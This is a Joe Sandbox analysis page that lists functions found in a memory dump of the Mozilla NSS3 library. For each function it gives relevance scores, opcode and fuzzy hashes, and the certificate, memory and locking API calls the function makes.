Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 678460e24520a313071293d608ee106453d36311000df2e67d55e521e1875f43
Instruction ID: c885f83b839d93f6f9b23173e1b8b15e9c657ba680366d3e2bb836b4926a22e2
Opcode Fuzzy Hash: 678460e24520a313071293d608ee106453d36311000df2e67d55e521e1875f43
Instruction Fuzzy Hash: 7E41B471E01109AFEF01CFA9DC85FEE7AB5AB88359F004025F914A7350E771D916CBA1

Function 6C4D4860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4D4894

Part of subcall function 6C51B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5F18D0,?), ref: 6C51B095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4D48CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4D48DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6C4D48FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C4D4912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4D494A

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: 41ad5437768f0b0e4f85cd1655295a6ed7f7cf670b3a95d7821f8c23d1333c78
Instruction ID: 0e00a5ca65556e034a0bfdb880f53e1337ee6425646a93e3fb810fc3fd5cb70e
Opcode Fuzzy Hash: 41ad5437768f0b0e4f85cd1655295a6ed7f7cf670b3a95d7821f8c23d1333c78
Instruction Fuzzy Hash: A041D2B46083059BE700EB6ACC95F6B73E89F88299F01062CFA5597B81F770E944CB52

Function 6C4ECF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C4ECF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C4ED002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C4ED016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4ED025
PR_NewLock.NSS3 ref: 6C4ED043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C4ED074

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 767c26730d3510b8192a8a020b2f082ec4b54f506ba32c2bc24e6d97acc09557
Instruction ID: 6c854e557a0c155b0bc396d93519b24f33addde11abecbf13264c658f1830332
Opcode Fuzzy Hash: 767c26730d3510b8192a8a020b2f082ec4b54f506ba32c2bc24e6d97acc09557
Instruction Fuzzy Hash: 8941A0B0A012118FDB10DF29C884F9A7BB4AF8C31EF16416ADC198BB86D774D885CB91

Function 6C533FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C533FF2

Part of subcall function 6C5214C0: TlsGetValue.KERNEL32 ref: 6C5214E0
Part of subcall function 6C5214C0: EnterCriticalSection.KERNEL32 ref: 6C5214F5
Part of subcall function 6C5214C0: PR_Unlock.NSS3 ref: 6C52150D

PORT_ArenaMark_Util.NSS3(?), ref: 6C534001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6C53400F

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6C534054

Part of subcall function 6C4CBB90: PORT_NewArena_Util.NSS3(00001000), ref: 6C4CBC24
Part of subcall function 6C4CBB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C4CBC39
Part of subcall function 6C4CBB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6C4CBC58
Part of subcall function 6C4CBB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C4CBCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C534070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6C5340CD

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: b6096b1111841eb7b90dff0d68f93f04c016a86f002821c72e9895b7bcffa651
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 4031C172F0035197EB009E649C81BAB37A4AFD0608F145229ED0C9F782FB76ED588692

Function 6C4D2E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C4C2D1A), ref: 6C4D2E7E

Part of subcall function 6C5207B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C4C8298,?,?,?,6C4BFCE5,?), ref: 6C5207BF
Part of subcall function 6C5207B0: PL_HashTableLookup.NSS3(?,?), ref: 6C5207E6
Part of subcall function 6C5207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C52081B
Part of subcall function 6C5207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C520825

PR_Now.NSS3 ref: 6C4D2EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C4D2EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C4C2D1A), ref: 6C4D2F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C4C2D1A), ref: 6C4D2F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C4D2F81

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 5c90ff4a4df08557f62208c4940f4e1a449f0cb78d2150f2dcc8c3085877ebf8
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 7731D2715011018AE730E655CC6CFABB266EB80319F660E6ED42997AD0EF31AC46D662

Function 6C4C0E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C4C0A2C), ref: 6C4C0E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C4C0A2C), ref: 6C4C0E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C4C0A2C), ref: 6C4C0E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C4C0A2C), ref: 6C4C0E90
free.MOZGLUE(00000000), ref: 6C4C0EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C4C0A2C), ref: 6C4C0ED9

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 9885a166193620a4f9a56885115929dc9c5a1e4886b730f98b51dbbad65d4972
Instruction ID: fbb27b0e25db75f20bb0db19d2264d383af6546afa7b80cb6c38a39cf5b7ca47
Opcode Fuzzy Hash: 9885a166193620a4f9a56885115929dc9c5a1e4886b730f98b51dbbad65d4972
Instruction Fuzzy Hash: A1213EFAF8028457EB10C56A9C85F6B72EEDBC174AF190035D81C63B62EB60DC1582A3

Function 6C4CB810 Relevance: 9.1, APIs: 6, Instructions: 101memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4E1750: PR_EnterMonitor.NSS3(?,?,00000000,00000000,?,6C4C991E,00000000,00000000,?,?,?,6C4C2D6B,?,?,00000000), ref: 6C4E1769
Part of subcall function 6C4E1750: PR_ExitMonitor.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C4C2D6B,?,?,00000000), ref: 6C4E180C

Part of subcall function 6C4D89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C4D88AE,-00000008), ref: 6C4D8A04
Part of subcall function 6C4D89E0: EnterCriticalSection.KERNEL32(?), ref: 6C4D8A15
Part of subcall function 6C4D89E0: memset.VCRUNTIME140(6C4D88AE,00000000,00000132), ref: 6C4D8A27
Part of subcall function 6C4D89E0: PR_Unlock.NSS3(?), ref: 6C4D8A35

Part of subcall function 6C4DFCA0: PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C4DFCBD
Part of subcall function 6C4DFCA0: strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C4DFCCC
Part of subcall function 6C4DFCA0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C4DFCEF
Part of subcall function 6C4DFCA0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4DFD32
Part of subcall function 6C4DFCA0: PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C4DFD46
Part of subcall function 6C4DFCA0: memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C4DFD6D
Part of subcall function 6C4DFCA0: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4DFD84

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C4CB88F
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C4CB8A3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4CB8B6
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C4CB8C5
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C4CB8DC
free.MOZGLUE(00000000), ref: 6C4CB8F5

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Alloc_ArenaUtilmemcpystrlen$EnterMonitor$CriticalExitInternalK11_SectionSlotUnlockValuefreememsetstrchrstrcmp
String ID:
API String ID: 3017222904-0
Opcode ID: 8eff3be5aea50882581d83cee2bf6c795adbd6b00c86a768e3d1df785b65eac4
Instruction ID: 0bd374c781786b85b413359cd63fcbb368c59560cddd3735c5d2ca8c2d914531
Opcode Fuzzy Hash: 8eff3be5aea50882581d83cee2bf6c795adbd6b00c86a768e3d1df785b65eac4
Instruction Fuzzy Hash: DC2109BAE0161167EB009A296C41FAF7668AFC525DF150034EC189B711EB32ED19C6F3

Function 6C4D88D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C4E0725,00000000,00000058), ref: 6C4D8906
EnterCriticalSection.KERNEL32(?), ref: 6C4D891A
PL_ArenaAllocate.NSS3(?,?), ref: 6C4D894A
calloc.MOZGLUE(00000001,6C4E072D,00000000,00000000,00000000,?,6C4E0725,00000000,00000058), ref: 6C4D8959
memset.VCRUNTIME140(?,00000000,?), ref: 6C4D8993
PR_Unlock.NSS3(?), ref: 6C4D89AF

Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07AD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07CD
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C44204A), ref: 6C4B07D6
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C44204A), ref: 6C4B07E4
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,6C44204A), ref: 6C4B0864
Part of subcall function 6C4B07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C4B0880
Part of subcall function 6C4B07A0: TlsSetValue.KERNEL32(00000000,?,?,6C44204A), ref: 6C4B08CB
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08D7
Part of subcall function 6C4B07A0: TlsGetValue.KERNEL32(?,?,6C44204A), ref: 6C4B08FB

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: 565e89ee7fc16a36732a3957697c0f24a5da72ed04c48ccf7b3b515ce911c3f6
Instruction ID: d2c8c77e4f5ebb87c756fd4a68595d47d1eabf8a1df0d9a7b2b5fb3011ce3f99
Opcode Fuzzy Hash: 565e89ee7fc16a36732a3957697c0f24a5da72ed04c48ccf7b3b515ce911c3f6
Instruction Fuzzy Hash: 0A313472A00200ABD700EF28CC91E69B7A4AF45359F169166EC58D7B01E732F84587D2

Function 6C4CAE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C4CAEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C4CAECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C4CAEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C4CAF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C5E9500), ref: 6C4CAF23

Part of subcall function 6C51F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C51F0C8
Part of subcall function 6C51F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C51F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C4CAF37

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 1127bc500c07b3755f9d2c4e400ec4be7481c538625bf4642b65c1f96d2be39b
Instruction ID: cf261bd30d1dc053e23e8e2ca15b7bb0612bb5801ca354f5454c2505b5d7de93
Opcode Fuzzy Hash: 1127bc500c07b3755f9d2c4e400ec4be7481c538625bf4642b65c1f96d2be39b
Instruction Fuzzy Hash: 59215AB9A092009BEB10CE188C01F9A7BE4AFC432CF144315FC549B7E0E731D90587A7

Function 6C54EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C54EE85
realloc.MOZGLUE(983E964F,?), ref: 6C54EEAE
PORT_Alloc_Util.NSS3(?), ref: 6C54EEC5

Part of subcall function 6C520BE0: malloc.MOZGLUE(6C518D2D,?,00000000,?), ref: 6C520BF8
Part of subcall function 6C520BE0: TlsGetValue.KERNEL32(6C518D2D,?,00000000,?), ref: 6C520C15

htonl.WSOCK32(?), ref: 6C54EEE3
htonl.WSOCK32(00000000,?), ref: 6C54EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C54EF01

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 27db26ab5e0cc35dc28060a29252020cd571b9fc86a93f471258061ee709b111
Instruction ID: 9f5cbbe97fc24e34eb5ec2643546c89e642e3dca714dd32deaefd6fa3924b582
Opcode Fuzzy Hash: 27db26ab5e0cc35dc28060a29252020cd571b9fc86a93f471258061ee709b111
Instruction Fuzzy Hash: 5B21B131A00215EFCF10DF28DC84A9AB7A4EF85358F158169EC099B751E770EC24CBE6

Function 6C4C7F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C4C7F68

Part of subcall function 6C520FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4C87ED,00000800,6C4BEF74,00000000), ref: 6C521000
Part of subcall function 6C520FF0: PR_NewLock.NSS3(?,00000800,6C4BEF74,00000000), ref: 6C521016
Part of subcall function 6C520FF0: PL_InitArenaPool.NSS3(00000000,security,6C4C87ED,00000008,?,00000800,6C4BEF74,00000000), ref: 6C52102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6C4C7F7B

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C4C7FA7

Part of subcall function 6C51FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C518D2D,?,00000000,?), ref: 6C51FB85
Part of subcall function 6C51FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C51FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C5E919C,?), ref: 6C4C7FBB

Part of subcall function 6C51B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5F18D0,?), ref: 6C51B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C4C7FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6C5E915C,00000014), ref: 6C4C7FFE

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 0c4e564231518629038cd36b4fe34488759c817f3f09a066b36ec419a456c3f9
Instruction ID: acdcfbca45dbfce1d409a5f0d26b9d6a77d01c3688b5aefe2ea46dbf21e0825a
Opcode Fuzzy Hash: 0c4e564231518629038cd36b4fe34488759c817f3f09a066b36ec419a456c3f9
Instruction Fuzzy Hash: FD112B75E042049BF710DA355C84FB776E8DF9465DF000619FC59C2B91F720E948C2A2

Function 6C4CBE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C54DC29,?), ref: 6C4CBE64

Part of subcall function 6C520FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4C87ED,00000800,6C4BEF74,00000000), ref: 6C521000
Part of subcall function 6C520FF0: PR_NewLock.NSS3(?,00000800,6C4BEF74,00000000), ref: 6C521016
Part of subcall function 6C520FF0: PL_InitArenaPool.NSS3(00000000,security,6C4C87ED,00000008,?,00000800,6C4BEF74,00000000), ref: 6C52102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C54DC29,?), ref: 6C4CBE78

Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C5210F3
Part of subcall function 6C5210C0: EnterCriticalSection.KERNEL32(?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52110C
Part of subcall function 6C5210C0: PL_ArenaAllocate.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521141
Part of subcall function 6C5210C0: PR_Unlock.NSS3(?,?,?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C521182
Part of subcall function 6C5210C0: TlsGetValue.KERNEL32(?,6C4C8802,00000000,00000008,?,6C4BEF74,00000000), ref: 6C52119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C54DC29,?), ref: 6C4CBE96

